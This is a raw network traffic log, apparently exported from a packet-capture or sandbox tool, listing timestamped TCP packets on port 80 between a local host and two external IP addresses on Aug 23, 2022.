Aug 23, 2022 03:42:56.219484091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219516039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219552040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219567060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219568968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219624043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219640970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219672918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219693899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219703913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219723940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219755888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219835997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219866037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219892025 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219919920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219921112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219953060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.220016003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.220045090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.220110893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.220118046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.220155001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.220185041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.220187902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.220210075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.220242977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.220247984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.220273972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.220307112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.220330000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.220366001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.220400095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.220432997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.220470905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.220489979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.235759020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.235815048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.235852957 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.235893011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.235902071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.235934019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.235934973 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.235960960 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.235975027 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236001968 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236016989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236026049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236073017 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236093998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236135960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236145020 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236201048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236255884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236259937 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236323118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236347914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236367941 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236376047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236411095 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236414909 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236452103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236457109 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236493111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236501932 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236535072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236541033 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236582041 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236586094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236638069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236644983 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236695051 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236702919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236752987 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236763000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236814976 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236819983 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236872911 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236884117 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.236932993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.236943960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237010002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237060070 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237066031 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.237102032 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237143993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237149954 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.237220049 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237260103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237265110 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.237297058 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.237302065 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237341881 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237385035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.237396002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237458944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237502098 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.237513065 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237555027 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.237574100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237634897 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237683058 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.237693071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237750053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237797976 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.237802982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237864017 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237907887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.237925053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.237968922 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.237987995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238051891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238099098 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.238115072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238178015 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238225937 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.238239050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238282919 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.238286018 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238327980 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238368988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238370895 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.238406897 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238449097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238450050 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.238491058 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.238491058 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238550901 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238600016 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.238615036 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238676071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238759041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238760948 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.238809109 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.238821030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238881111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.238931894 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.238944054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239008904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239061117 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239068985 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239123106 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239151955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239166975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239186049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239207029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239208937 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239248991 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239252090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239289999 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239295006 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239330053 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239331961 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239413023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239439011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239491940 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239500046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239547014 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239557981 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239599943 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239622116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239665985 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239682913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239741087 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239800930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239804029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239851952 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239892960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.239895105 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239933968 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.239954948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240015984 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240075111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240096092 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.240122080 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.240139008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240205050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240252018 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240282059 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.240303040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240303993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.240341902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240396023 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240457058 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240514994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240535021 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.240561962 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.240576982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240634918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240680933 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.240698099 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240761042 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240822077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240866899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240909100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240951061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.240992069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241034031 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241045952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.241075993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241121054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241158962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241199970 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241240025 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241281033 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241323948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241363049 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241403103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241442919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241463900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.241482973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241523981 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241563082 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241604090 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241645098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241681099 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.241683006 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241693974 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.241723061 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.241734982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241779089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.241791010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241833925 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241875887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241878033 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.241935968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.241981983 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.241997957 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242041111 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242063046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242124081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242181063 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242191076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242240906 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242279053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242307901 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242321014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242371082 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242381096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242428064 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242429018 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242470026 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242507935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242521048 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242551088 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242554903 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242592096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242631912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242635965 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242674112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242712975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242731094 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242753029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242753983 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242794991 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242835999 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242844105 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242877007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242921114 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.242923975 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242960930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.242983103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243041039 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243052959 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243083000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243109941 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243127108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243140936 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243181944 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243194103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243241072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243257046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243295908 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243304014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243340969 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243345022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243436098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243437052 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243475914 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243515968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243556023 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243597031 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243602991 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243612051 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243616104 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243638039 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243678093 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243678093 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243716955 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243760109 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243766069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243798971 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243802071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243840933 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243880987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243885994 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243921041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.243962049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.243963957 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244000912 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244004011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244045019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244086027 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244090080 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244127989 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244127989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244168997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244206905 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244209051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244250059 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244291067 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244292974 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244328022 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244330883 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244371891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244410038 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244411945 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244451046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244487047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244492054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244532108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244553089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244573116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244613886 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244615078 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244652987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244689941 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244693041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244733095 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244736910 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244771957 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244816065 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244821072 CEST	80	49792	135.181.104.248	192.168.2.4
